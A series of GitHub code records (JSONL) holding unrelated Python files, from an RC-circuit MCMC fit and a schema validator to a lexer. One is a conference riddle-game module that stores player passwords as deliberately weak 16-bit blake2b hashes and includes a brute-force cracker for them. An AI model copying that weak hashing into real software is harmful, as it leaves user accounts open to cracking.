print(number)\n","repo_name":"j10r2/Python_meeting","sub_path":"seminar5/homework5/hw5_1.py","file_name":"hw5_1.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5196967122","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nt, q = np.genfromtxt('CircuitoRC.txt').T\n\ndef equation(R, C):\n    global t\n    V0 = 10\n    return V0*C*(1-np.exp(-t/(R*C)))\n\ndef error(small_q):\n    global q\n    return np.sum((q - small_q)**2)\n\ndef chain(steps = 1000, dr = 0.1, dc = 0.1):\n    R = np.zeros(steps)\n    C = np.zeros(steps)\n    R[0] = np.random.random()*dr\n    C[0] = np.random.random()*dc\n\n    last_error = error(equation(R[0], C[0]))\n    for i in range(steps-1):\n        r = abs((2*np.random.random()-1)*dr + R[i])\n        c = abs((2*np.random.random()-1)*dc + C[i])\n\n        alpha = np.exp(error(equation(R[i], C[i])) -  error(equation(r, c)))\n        alpha = min(1, alpha)\n        if alpha > np.random.random():\n            R[i+1] = r\n            C[i+1] = c\n        else:\n            R[i+1] = R[i]\n            C[i+1] = C[i]\n    return R, C\n\nR, C = chain()\nQ = equation(R[500:].mean(), C[500:].mean())\n\nfig, (ax1, ax2) = plt.subplots(1, 2)\nax1.plot(t, q, label = \"Real\")\nax1.plot(t, Q, label = \"Best\")\nax1.set_xlabel('$t$')\nax1.set_ylabel('$q(t)$')\nax1.legend()\n\nax2.plot(R, label = \"$R$\")\nax2.plot(C, label = \"$C$\")\nax2.set_ylabel('Value')\nax2.set_xlabel('Iteration')\nax2.legend()\nplt.savefig(\"CircuitoRC.png\")\n","repo_name":"ComputoCienciasUniandes/MetodosComputacionales","sub_path":"talleres/2017-01/hw_5/Solucion/CircuitoRC.py","file_name":"CircuitoRC.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73521323529","text":"\"\"\"This is a poorly coded statistics page that gives user info.\"\"\"\n\nimport zlib\nimport random\nimport string\nimport hashlib\nimport sqlite3\nimport datetime\n\nfrom pathlib import Path\nfrom jinja2 import Template\nfrom flask import session, request, current_app\n\nfrom riddle.names import random_name, _names, _adjectives\nfrom riddle.utils import create_user, get_user\nfrom riddle.urls import without_answer, add_route\n\n\nsuper_user = (\"monty-python\", \"flying circus\")\n\n\nsuccess_message = f'''\nIf you are reading this message, it means you made it: I am {super_user[0]},\none of the funding members of the WASP10 association and I found the hole in\nthe system that I just exploited to get this message. Sorry if we were not\nvery explicit in telling how to come here, but trust is fundamental in this\nphase. I would like to let you know that you are not alone, and the number of\npeople fighting the EAI must continue to grow.\nAt the venue, among the PyConX staff, there are some WASP10 undercover agents\nthat have been sent there to scout talents and invite them to participate in\nthe competition. Those agents are still unaware of the fact that an EAI\novertook our communications.\nYour job is now to find them and inform them of what is happening.\nYou must gain their trust and let them know the truth. They might help you in \ngetting the necessary information to break into the system and destroy the AI,\nbut you will not able to do it alone.\nIf you find something interesting, use /wasp9/clues to send it to me.\n\nRemember my name when you meet the agents, it might be useful.\nGood luck.\n'''\n# But... WASP10 is now public, why having undercover agents? Why do they need\n# to trust the player?? This is fishy...\n\n# Let's use the same join date to keep it simple and fishy\njoin_date = \"2009-10-30\"\n\nhosts = (\n    # Actually interesting hosts\n    (1, '127.0.0.1:8888', 'telnet'),  # Password breaking challenge\n    (2, '5.44.12.71', 'http'),  # id=2 will be used by fetch\n    # Some random hosts\n    # (3, '5.44.12.70', 'ftp'),\n    # (4, '1.32.1.32', 'irc'),  # This could actually be real :)\n    # (5, '10.42.0.112', 'pop3'),\n    # Some not-so-random hosts, just for fun\n    (6, '20.19.5.2', 'pcx'),\n    (7, '20.19.5.3', 'pcx'),\n    (8, '20.19.5.4', 'pcx'),\n    (9, '20.19.5.5', 'pcx'),\n)\n\nusers = (\n    # Let's give PyConX organizers some credit :)\n    # Those are some of the many members who made PyConX possible\n    # The passwords are there just for fun, let's hope they enjoy them!\n    ('patrick91', \"thank you for the birthday gift, Marilyn\"),\n    ('davidmugnai', \"measure once, cut once, fix once\"),\n    ('hype_fi', \"impossible is just a matter of time\"),\n    ('simbasso', \"we should not test in production\"),\n    ('cm', \"the glass is half full and half wrong\"),\n    ('yakkys', \"d-j-a-n-g-o, the d is silent\"),\n    ('mena', \"go go gadget everything\"),\n    ('leriomaggio', \"from oxford import british_accent\"),\n    ('__pamaron__', \"for the holy Mary\"),\n    ('viperale', \"human body is 90% water, mine is 90% spritz\"),\n    ('rasky', \"optimising life\"),\n    ('fiorella', \"I am tooooo cute\"),\n    # Back to the game\n    super_user,  # Easily breakable\n)\n\n\ndef password_hash(data):\n    \"\"\"Return an integer value representing the hash of data.\"\"\"\n    return int.from_bytes(hashlib.blake2b(data, digest_size=2).digest(), 'big')\n\n\ndef break_password_hash(target):\n    \"\"\"Search for a random string with given hash.\"\"\"\n    import time\n    for b_order in ['big', 'little']:\n        start = time.time()\n        count = 0\n        while True:\n            if time.time() >= start + 60:\n                print(\"In 60 seconds we did\", count, \"iterations\")\n                count = 0\n                start = time.time()\n            count += 1\n            x = ''.join(random.sample(string.ascii_letters, 10))\n            if password_hash(x.encode()) == target:\n                print(\"Found\", x, \"with byte order\", b_order)\n                break\n\n\ndef get_database(user):\n    \"\"\"Return the database of a given user, making it up if not existing.\"\"\"\n    root = Path('./data')\n    root.mkdir(parents=True, exist_ok=True)\n\n    db_file = root / f'db_{user[\"id\"]}.sqlite3'\n    if db_file.exists():\n        print(\"Loading existing db\")\n        db = sqlite3.connect(db_file)\n        return db\n\n    print(\"Creating database for user\", user)\n    db = sqlite3.connect(db_file)\n    with db:\n        # Seed random number generation uniquely for each player for coherent xp\n        rng = random.Random()\n        rng.seed(user['id'])\n\n        # Generate some random players with unique name\n        num_fake_players = rng.randrange(50, 70)\n        fake_player_names = {random_name('-', rng)\n                             for _ in range(num_fake_players)}\n        # Add one user which is particular... Why would WASP9 use a special\n        # python-related name? This is fishy...\n        fake_player_names.add(super_user[0])\n\n        # Build a (deterministically) shuffled list of uers\n        # user_data = {name: ['2009-10-30'] for name in fake_player_names}\n        usernames = sorted(fake_player_names)\n        rng.shuffle(usernames)\n\n        db.executescript('''\n            CREATE TABLE user (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                name TEXT NOT NULL UNIQUE,\n                timestamp TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP\n            );\n\n            CREATE TABLE event (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                name TEXT NOT NULL,\n                origin INTEGER NOT NULL,\n                value INTEGER NOT NULL,\n                timestamp TIMESTAMP NOT NULL\n            );\n\n            CREATE TABLE counter (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                event_id TEXT NOT NULL,\n                count INTEGER NOT NULL\n            );\n\n            CREATE TABLE hosts (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                host TEXT NOT NULL,\n                protocol TEXT NOT NULL\n            );\n\n            CREATE TABLE actl (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                user TEXT NOT NULL UNIQUE,\n                blake2b_16 TEXT NOT NULL\n            );\n        ''')\n\n        for usr in usernames:\n            db.execute('''INSERT INTO user (name, timestamp) VALUES (?,?)''',\n                        [usr, join_date])\n\n        for ev in ['access', 'access', 'score', 'score']:\n            db.execute('''INSERT INTO event (name, origin, value, timestamp)\n                           VALUES (?,?,?,?)''',\n                           ['access', 'wasp9/stage0', 1, '2009-02-02'])\n\n        for n in [(1, 1), (2, 75), (3, 112)]:\n            db.execute('''INSERT INTO counter (event_id, count)\n                          VALUES (?,?)''',\n                          n)\n\n        for h in hosts:\n            db.execute('''INSERT INTO hosts (id, host, protocol)\n                          VALUES (?,?,?)''', h)\n\n        for user, pwd in users:\n            db.execute('''INSERT INTO actl (user, blake2b_16) VALUES (?,?)''', \n                       [user, password_hash(pwd.encode())])\n\n    return db\n","repo_name":"akiross/PyConXRiddle","sub_path":"riddle/game/wasp10/old/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"34304545110","text":"\"\"\"Find the sum of multiples of three or five from 1 to n inclusive.\"\"\"\n\n\ndef find_sum(n):\n    nums_sum = 0\n    for i in range(3, n+1):\n        if i % 3 == 0 or i % 5 == 0:\n            nums_sum += i\n    return nums_sum\n\n\ndef main():\n    n = int(input())\n    print(find_sum(n))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"0x70DA/IEEE-ZSB-Technical-Rookies-22","sub_path":"Task-1/problem_7.py","file_name":"problem_7.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18591305641","text":"from math import isnan, isinf\nimport re\n\njs_version = \"0.4\" # the d.o jasper version string that this is synced to.\n\nclass __OutputObject:\n\tdef __init__(self, v, s, p):\n\t\tself._dict = {'value': v, 'schema': s, 'path': p}\n\t\tself.sanitized = None\n\t\tself.errors = []\n\t\tself.warnings = []\n\tdef err(self, msg):\n\t\tself.errors.append(self._dict.copy().update({'message': msg}))\n\tdef warn(self, msg):\n\t\tself.errors.append(self._dict.copy().update({'message': msg}))\n\tdef merge_errors(self, other):\n\t\tself.errors.extend(other.errors)\n\t\tself.warnings.extend(other.warnings)\n\tdef proxy(self, other):\n\t\tself.sanitized = other.sanitized\n\t\tself.errors = other.errors\n\t\tself.warnings = other.warnings\n\nclass __Context:\n\tdef __init__(self, obj, opts):\n\t\tself.obj = obj\n\t\tself.opts = opts\n\n# \n_regex_parse = re.compile(r'^/(.*)/(i?m?|mi)$')\n_regex_flags = {\n\t'i': re.I, 'm': re.M, 'im': re.I | re.M, 'mi': re.I | re.M\n}\ntypeof = lambda s: type(s).__name__\n_inf = float(\"Infinity\")\n\ndef dictify(array):\n\tout = {}\n\tfor i in range(len(array)):\n\t\tout[str(i)] = array[i]\n\treturn out\n\n# The basic validation functions for the primitives are defined here.\n# They all take a basic set of parameters: \n#     v: the value in the input object\n#     o: an output object\n#     m: the metadata object from the schema\n#     r: a recurse function, to validate any children\n#     c: the context of the function -- called opts and the overall object.\n\n# We create a primitives registry with an accompanying decorator.\nprimitives = {}\ndef primitive(fn):\n\tprimitives[fn.__name__[1:]] = fn\n\treturn fn\n\n@primitive\ndef _freeform(v, o, m, r, c):\n\to.sanitized = v;\n\n@primitive\ndef _regex(v, o, m, r, c):\n\tif typeof(v) == 'SRE_Pattern':\n\t\to.sanitized = v;\n\telif typeof(v) == 'str':\n\t\ttry: \n\t\t\tmatch = _regex_parse.search(v)\n\t\t\tflags = _regex_flags.get(match.group(2), 0)\n\t\t\to.sanitized = re.compile(match.group(1), flags)\n\t\texcept re.error:\n\t\t\to.err('invalid regular expression')\n\t\t\treturn\n\telse:\n\t\to.err('unable to coerce')\n\t\treturn\n\tif c.opts.get('regex_as_string', False):\n\t\tflags = ''\n\t\tif o.sanitized.flags & re.I:\n\t\t\tflags += 'i'\n\t\tif o.sanitized.flags & re.M:\n\t\t\tflags += 'm'\n\t\to.sanitized = '/' + o.sanitized.pattern + '/' + flags\n\n# for consistency with jasper 0.4, we only cast \"true\", not \"True\"\n@primitive\ndef _boolean(v, o, m, r, c): \n\tif typeof(v) == 'bool':\n\t\to.sanitized = v\n\telse: \n\t\tv = str(v)\n\t\tif v in ['true', 'false']:\n\t\t\to.sanitized = (v == 'true')\n\t\t\to.warn('type coercion')\n\t\telse: \n\t\t\to.err('unable to coerce')\n\n@primitive\ndef _number(v, o, m, r, c): \n\tif typeof(v) not in ['int', 'float']:\n\t\to.warn('type coercion')\n\ttry: \n\t\tv = float(v)\n\t\tif isnan(v) or isinf(v):\n\t\t\tv = None\n\texcept ValueError:\n\t\tv = None\n\t\t\n\tif v == None:\n\t\to.err('unable to coerce')\n\telse: \n\t\tif m.get('integer', False) and int(v) == v:\n\t\t\to.err('not an integer')\n\t\tif m.get('max', _inf) < v:\n\t\t\to.err('maximum violated')\n\t\tif m.get('min', -_inf) > v:\n\t\t\to.err('minimum violated')\n\t\t\n\t\to.sanitized = v;\n\n@primitive\ndef _string(v, o, m, r, c):\n\tt = typeof(v)\n\tif t == 'str':\n\t\tpass\n\telif t in ['int', 'float', 'boolean']:\n\t\to.warn('type coercion')\n\t\tv = str(v).lower()\n\telse:\n\t\to.err('unable to coerce')\n\t\treturn\n\t\n\tif m.get('max_length', _inf) < len(v):\n\t\to.err('max length violated')\n\tif m.get('min_length', -_inf) > len(v):\n\t\to.err('min length violated')\n\tif m.get('root_index', False) and v not in c.obj:\n\t\to.err('not a valid key into the root index')\n\tregex = m.get('regex', None)\n\tif regex and not regex.search(v):\n\t\to.err('regex violated')\n\tif m.get('confidential', False) and c.opts.get('hide_confidential', False):\n\t\tv = \"(confidential)\"\n\t\n\to.sanitized = v\n\n@primitive\ndef _index(v, o, m, r, c):\n\tsanitized = {}\n\tsubschema = m.get('elements', 'object')\n\tregex = m.get('valid_keys', None)\n\tt = typeof(v)\n\tif t == 'dict':\n\t\tpass\n\telif t == 'list':\n\t\tif len(v) > 0:\n\t\t\to.warn('type coercion')\n\t\tv = dictify(v)\n\telse:\n\t\to.err('unable to coerce')\n\t\treturn\n\t\n\tfor key in v:\n\t\toutput = r(v[key], subschema, key)\n\t\tsanitized[key] = output.sanitized\n\t\tif regex and not regex.search(key):\n\t\t\to.err('invalid key: ' + key)\n\t\to.merge_errors(output)\n\to.sanitized = sanitized\n\n@primitive\ndef _list(v, o, m, r, c):\n\tsanitized = []\n\tsubschema = m.get('elements', 'object')\n\tif typeof(v) == 'list':\n\t\tfor i in range(len(v)):\n\t\t\toutput = r(v[i], subschema, i)\n\t\t\tsanitized.append(output.sanitized)\n\t\t\to.merge_errors(output)\n\t\to.sanitized = sanitized\n\telse:\n\t\to.err('unable to coerce')\n\n@primitive\ndef _multi(v, o, m, r, c):\n\tsubschemas = m.get('allowed', [])\n\tattempts = []\n\t# we create a default error. The only way out will be o.proxy().\n\to.err('no options matched')\n\t\n\tfor i in range(len(subschemas)):\n\t\toutput = r(v, subschemas[i], '(multi: ' + str(i) + ')')\n\t\tattempts.append(output)\n\t\to.merge_errors(output)\n\t\n\tattempts.sort(key=lambda a: (len(a.errors), len(a.warnings)))\n\t\n\tif len(attempts) > 0:\n\t\tif len(attempts[0].errors) == 0:\n\t\t\to.proxy(attempts[0])\n\n@primitive\ndef _enum(v, o, m, r, c):\n\tvalue = m.get('value_field', 'value')\n\tmeta = m.get('meta_field', 'meta')\n\topts = m.get('options', {})\n\tsubtype = 'object' if m.get('strict', True) else 'args'\n\tt = typeof(v)\n\tif t == 'dict':\n\t\tpass\n\telif t == 'list':\n\t\tv = dictify(v)\n\telse:\n\t\to.err('unable to coerce')\n\t\treturn\n\t\n\tif value not in v:\n\t\to.err('unable to coerce')\n\telif v[value] not in opts:\n\t\to.err('value not allowed by enum: ' + v[value])\n\telse:\n\t\tsubschema = {'type': subtype, 'meta': {'fields': opts[v[value]]}}\n\t\toutput = r(v.get(meta, {}), subschema, meta)\n\t\to.merge_errors(output)\n\t\to.sanitized = {value: v[value], meta: output.sanitized} \n\t\t# note: this key ^ is not necessarily \"value\".\n\n@primitive\ndef _args(v, o, m, r, c):\n\tfields = m.get('fields', {})\n\to.sanitized = {}\n\tt = typeof(v)\n\tif t == 'list':\n\t\tv = dictify(v)\n\telif t != 'dict':\n\t\to.err('unable to coerce')\n\t\treturn\n\t\n\tfor k in v:\n\t\tif k not in fields:\n\t\t\to.warn('extra key not in schema: ' + k)\n\t\telse: \n\t\t\toutput = r(v[k], fields[k], k)\n\t\t\to.merge_errors(output)\n\t\t\to.sanitized[k] = output.sanitized\n\n@primitive\ndef _object(v, o, m, r, c):\n\tfields = m.get('fields', {})\n\t#first, validate as an `args` type\n\t_args(v, o, m, r, c)\n\t#then, check that all keys are accounted for:\n\tif typeof(o.sanitized) == 'dict':\n\t\tfor k in fields:\n\t\t\tif k not in o.sanitized:\n\t\t\t\to.err('missing field: ' + k)\n\ndef validation(obj, model, root_schema, opts=None):\n\tif typeof(opts) != 'dict':\n\t\topts = {}\n\tcontext = __Context(obj, opts)\n\t\n\tdef subvalidate(value, schema, path):\n\t\t# convert schema to {type, meta} form:\n\t\tif typeof(schema) == 'str':\n\t\t\tschema = model.get(schema, {'type': schema, 'meta': {}})\n\t\ttry:\n\t\t\tvalue = value.jasper();\n\t\texcept AttributeError:\n\t\t\tpass\n\t\tout = __OutputObject(value, schema, path)\n\t\tdef recurse(v, s, name):\n\t\t\tsubpath = path[:]\n\t\t\tsubpath.append(name)\n\t\t\treturn subvalidate(v, s, subpath)\n\t\t\n\t\tt = schema['type']\n\t\tif t in primitives:\n\t\t\tprimitives[t](value, out, schema['meta'], recurse, context)\n\t\telse: \n\t\t\tout.err(\"schema type not recognized: \" + t)\n\t\t\n\t\treturn out\n\t\n\tobj = subvalidate(obj, model[root_schema], [])\n\t\n\tif len(obj.errors) > 0:\n\t\treturn {'status': 'errors', 'meta': {'list': obj.errors}};\n\telse:\n\t\treturn {\n\t\t\t'status': 'ok', \n\t\t\t'meta': {'sanitized': obj.sanitized, 'warnings': obj.warnings}\n\t\t}\n\n__not_type = re.compile(\"^((?!type).+|type.+)$\")\n__primitives = re.compile(\"^(\" + \"|\".join(primitives.keys()) + \")$\")\n\nmetamodel = {\n\t\"model\": {\"type\": \"index\", \"meta\": {\n\t\t\"elements\": \"schema\",\n\t\t\"valid_keys\": __not_type\n\t}},\n\t\"primitive string\": {\"type\": \"string\", \"meta\": {\n\t\t\"regex\": __primitives\n\t}}, \n\t\"composite schema\": {\"type\": \"multi\", \"meta\": {\n\t\t\"allowed\": [\n\t\t\t\"schema\", \n\t\t\t\"primitive string\",\n\t\t\t{\"type\": \"string\", \"meta\": {\"root_index\": True}}\n\t\t]\n\t}},\n\t\"natural number\": {\"type\": \"number\", \"meta\": {\"integer\": True, \"min\": 0}},\n\t\"object fields\": {\"type\": \"index\", \"meta\": {\"elements\": \"composite schema\"}},\n\t\"schema\": {\"type\": \"enum\", \"meta\": {\n\t\t\"value_field\": \"type\",\n\t\t\"meta_field\": \"meta\",\n\t\t\"strict\": False,\n\t\t\"options\": {\n\t\t\t\"freeform\": {},\n\t\t\t\"boolean\": {},\n\t\t\t\"regex\": {},\n\t\t\t\"number\": {\n\t\t\t\t\"integer\": \"boolean\",\n\t\t\t\t\"max\": \"number\",\n\t\t\t\t\"min\": \"number\"\n\t\t\t},\n\t\t\t\"string\": {\n\t\t\t\t\"max_length\": \"natural number\",\n\t\t\t\t\"min_length\": \"natural number\",\n\t\t\t\t\"regex\": \"regex\",\n\t\t\t\t\"root_index\": \"boolean\",\n\t\t\t\t\"confidential\": \"boolean\"\n\t\t\t},\n\t\t\t\"enum\": {\n\t\t\t\t\"value_field\": \"string\",\n\t\t\t\t\"meta_field\": \"string\",\n\t\t\t\t\"strict\": \"boolean\",\n\t\t\t\t\"options\": {\"type\": \"index\", \"meta\": {\"elements\": \"object fields\"}}\n\t\t\t},\n\t\t\t\"index\": {\n\t\t\t\t\"elements\": \"composite schema\",\n\t\t\t\t\"valid_keys\": \"regex\"\n\t\t\t},\n\t\t\t\"list\": {\n\t\t\t\t\"elements\": \"composite schema\"\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t\t\"fields\": \"object fields\"\n\t\t\t},\n\t\t\t\"object\": {\n\t\t\t\t\"fields\": \"object fields\"\n\t\t\t},\n\t\t\t\"multi\": {\n\t\t\t\t\"allowed\": {\"type\": \"list\", \"meta\": {\"elements\": \"composite schema\"}}\n\t\t\t}\n\t\t}\n\t}}\n}\n\nclass Model:\n\tdef __init__(self, model_spec, base_opts=None):\n\t\tself.base_opts = base_opts if typeof(base_opts) == 'dict' else {}\n\t\tmodel = validation(model_spec, metamodel, \"model\")\n\t\tif model['status'] == \"errors\" or len(model['meta']['warnings']) > 0:\n\t\t\traise ValueError(\"Invalid jasper model. Please revalidate it.\")\n\t\t\n\t\tself.model = model['meta']['sanitized']\n\t\n\tdef validate(self, obj, model_name, opts={}):\n\t\tmodel_name = str(model_name)\n\t\tsubopts = self.base_opts.copy().update(opts)\n\t\tif model_name not in self.model:\n\t\t\traise ValueError(\"Unrecognized model name: \" + model_name)\n\t\telse:\n\t\t\treturn validation(obj, self.model, model_name, subopts)","repo_name":"crdrost/d.o","sub_path":"extras/jasper.py","file_name":"jasper.py","file_ext":"py","file_size_in_byte":9450,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"69804984967","text":"from Token import Token\nfrom Error import Error\nfrom prettytable import PrettyTable\nimport webbrowser\nimport time\n\nclass Scanner:\n    def __init__(self):\n        self.buffer = ''\n        self.fila = 1\n        self.columna = 1\n        self.estado = 0\n        self.listaTokens = []\n        self.listaErrores = []\n        self.i = 0\n        self.flag_comillas = False\n    \n    def agregar_Token(self,caracter,fila,columna,token):\n        self.listaTokens.append(Token(caracter,fila,columna,token))\n        self.buffer = ''\n    \n    def agregar_Error(self,caracter,fila,columna):\n        if ord(caracter)>= 48 and ord(caracter)<= 57:\n            self.listaErrores.append(Error('Caracter \\'' + caracter + '\\' error de tipo Numero',fila,columna))\n        else:\n            self.listaErrores.append(Error('Caracter \\'' + caracter + '\\' error de tipo Simbolo',fila,columna))\n    def s0(self,caracter):\n        '''Estado 0'''\n        if (caracter.isalpha() and not self.flag_comillas):\n            self.estado = 1\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '~':\n            self.estado = 2\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '[':\n            self.estado = 3\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == ']':\n            self.estado = 4\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '\\\"':\n            self.estado = 5\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '\\'':\n            self.estado = 6\n            self.buffer += caracter\n            self.columna += 1\n        elif (caracter.isalpha() or (ord(caracter)>= 48 and ord(caracter)<= 57)) and self.flag_comillas:\n            self.estado = 7\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '<':\n            self.estado = 8\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '>':\n            self.estado = 9\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == ':':\n            self.estado = 10\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == ',':\n            self.estado = 11\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter == '\\n':\n            self.fila += 1\n            self.columna = 1\n        elif caracter in ['\\t',' ']:\n            self.columna += 1\n        elif caracter == '$':\n            pass\n        else:\n            self.agregar_Error(caracter,self.fila,self.columna)\n    \n    def s1(self,caracter):\n        '''Estado 1'''\n        if caracter.isalpha():\n            self.estado = 1\n            self.buffer += caracter\n            self.columna += 1\n        else:\n            if (self.buffer.lower() == 'formulario' or self.buffer.lower() == 'tipo' \n            or self.buffer.lower() == 'valor' or self.buffer.lower() == 'fondo' or self.buffer.lower() == 'valores' \n            or self.buffer.lower() == 'evento'): \n                self.agregar_Token(self.buffer,self.fila,self.columna,'reservada_' + self.buffer)\n                self.estado = 0\n                self.i -= 1\n            elif self.buffer in ['entrada', 'info']:\n                self.agregar_Token(self.buffer,self.fila,self.columna,'evento_' + self.buffer)\n                self.estado = 0\n                self.i -= 1\n\n\n    def s2(self):\n        '''Estado 2'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Virgulilla')\n        self.estado = 0\n        self.i -= 1\n    \n    def s3(self):\n        '''Estado 3'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo Abre corchete')\n        self.estado = 0\n        self.i -= 1\n    \n    def s4(self):\n        '''Estado 4'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo Cierra corchete')\n        self.estado = 0\n        self.i -= 1\n    \n    def s5(self):\n        '''Estado 5'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo de Comillas')\n        self.estado = 0\n        self.i -= 1\n        if self.flag_comillas:\n            self.flag_comillas = False\n        else:\n            self.flag_comillas = True\n    \n    def s6(self):\n        '''Estado 6'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo Comillas Simple')\n        self.estado = 0\n        self.i -= 1\n        if self.flag_comillas:\n            self.flag_comillas = False\n        else:\n            self.flag_comillas = True\n    \n    def s7(self,caracter):\n        '''Estado 7 - cadenas'''\n        if caracter.isalpha():\n            self.estado = 7\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter in ['+','!','*','@',' ','-',':',';','#','%','^','&','?',',','.','|']:\n            self.estado = 7\n            self.buffer += caracter\n            self.columna += 1\n        elif caracter.isdigit():\n            self.estado = 7\n            self.buffer += caracter\n            self.columna += 1\n        else:\n            self.agregar_Token(self.buffer,self.fila,self.columna,'Cadena X')\n            self.estado = 0\n            self.i -= 1\n\n    def s8(self):\n        '''Estado 8'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo Menor Q')\n        self.estado = 0\n        self.i -= 1\n    \n    def s9(self):\n        '''Estado 9'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo Mayor Q')\n        self.estado = 0\n        self.i -= 1\n    \n    def s10(self):\n        '''Estado 10'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo de dos puntos')\n        self.estado = 0\n        self.i -= 1\n    \n    def s11(self):\n        '''Estado 11'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo coma')\n        self.estado = 0\n        self.i -= 1\n\n    def s12(self):\n        '''Estado 12'''\n        self.agregar_Token(self.buffer,self.fila,self.columna,'Signo coma')\n        self.estado = 0\n        self.i -= 1\n        \n        # self.agregar_Token\n    def analizar(self,cadena):\n        '''Realiza los cambios de estados'''\n        cadena += '$'\n        self.i = 0\n        while self.i < len(cadena):\n            if self.estado == 0:\n                self.s0(cadena[self.i])\n            elif self.estado == 1:\n                self.s1(cadena[self.i])\n            elif self.estado == 2:\n                self.s2()\n            elif self.estado == 3:\n                self.s3()\n            elif self.estado == 4:\n                self.s4()\n            elif self.estado == 5:\n                self.s5()\n            elif self.estado == 6:\n                self.s6()\n            elif self.estado == 7:\n                self.s7(cadena[self.i])\n            elif self.estado == 8:\n                self.s8()\n            elif self.estado == 9:\n                self.s9()\n            elif self.estado == 10:\n                self.s10()\n            elif self.estado == 11:\n                self.s11()\n            self.i += 1\n    \n    def imprimirTokens(self):\n        x = PrettyTable()\n        x.field_names = [\"Lexema\",\"fila\",\"Columna\",\"Tipo\"]\n        for token in self.listaTokens:\n            x.add_row([token.lexema,token.fila,token.columna,token.tipo])\n        print(x)\n    \n    def imprimirErrores(self):\n        x = PrettyTable()\n        x.field_names = [\"Descripción\",\"fila\",\"Columna\"]\n        for error in self.listaErrores:\n            x.add_row([error.descripcion,error.fila,error.columna])\n        print(x)\n    \n    def crearTTokens(self):\n        texto = ''\n        f = open('./ReporteTokens.html','w')\n        texto += '''\n        <!DOCTYPE html>\n        <html lang=\"en\">\n        <head>\n        <title>Reporte Tokens</title>\n        <meta charset=\"utf-8\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n        <link\n            href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css\"\n            rel=\"stylesheet\"\n            integrity=\"sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We\"\n            crossorigin=\"anonymous\"\n            />\n        <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css\">\n        <script src=\"https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js\"></script>\n        <script src=\"https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js\"></script>\n        <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js\"></script>\n        </head>\n        <body style=\"background-color: rgb(243, 240, 235);\">\n        <div class=\"container\">\n        <br>\n        <h2 class=\"text-center\" style=\"font-weight: bold; color: rgb(36, 36, 179);\">Tabla de Tokens</h2>\n        <br>\n        <h6 style=\"font-weight:600 ;\">A continuacion se presentan tabla de tokens encontrados en el lenguaje:</h6>\n        <table class=\"table table-hover\">\n            <thead class=\"thead-dark\">\n        <tr>\n        <th class=\"text-center\">LEXEMA</th>\n        <th class=\"text-center\">FILA</th>\n        <th class=\"text-center\">COLUMNA</th>\n        <th class=\"text-center\">TIPO</th>\n        </tr>\n        </thead>\n        <tbody>'''\n        for token in self.listaTokens:\n            texto +='''\n        <tr>\n            <td class=\"text-center\">'''+token.lexema+'''</td>\n            <td class=\"text-center\">'''+str(token.fila)+'''</td>\n            <td class=\"text-center\">'''+str(token.columna)+'''</td>\n            <td class=\"text-center\">'''+token.tipo+'''</td>\n        </tr>   '''\n        texto +='''\n        </tbody>\n        </table>\n        <br>\n                    \n        </body>\n        <hr>\n        <footer>\n            <h5 style=\"text-align: right; font-weight: bolder;\">Josue Gramajo - 202000895</h5>\n            <h6 style=\"text-align: right; font-weight: bold;\">Reporte generado:'''+time.ctime()+'''</h6>\n        </footer>\n        </html>\n        '''\n        mensaje = texto \n        f.write(mensaje)\n        f.close()\n\n        webbrowser.open_new_tab('ReporteTokens.html')\n\n    def crearTErrores(self):\n        texto = ''\n        f = open('./ReporteErrores.html','w')\n        texto += '''\n        <!DOCTYPE html>\n        <html lang=\"en\">\n        <head>\n        <title>Reporte Tokens</title>\n        <meta charset=\"utf-8\">\n        <meta 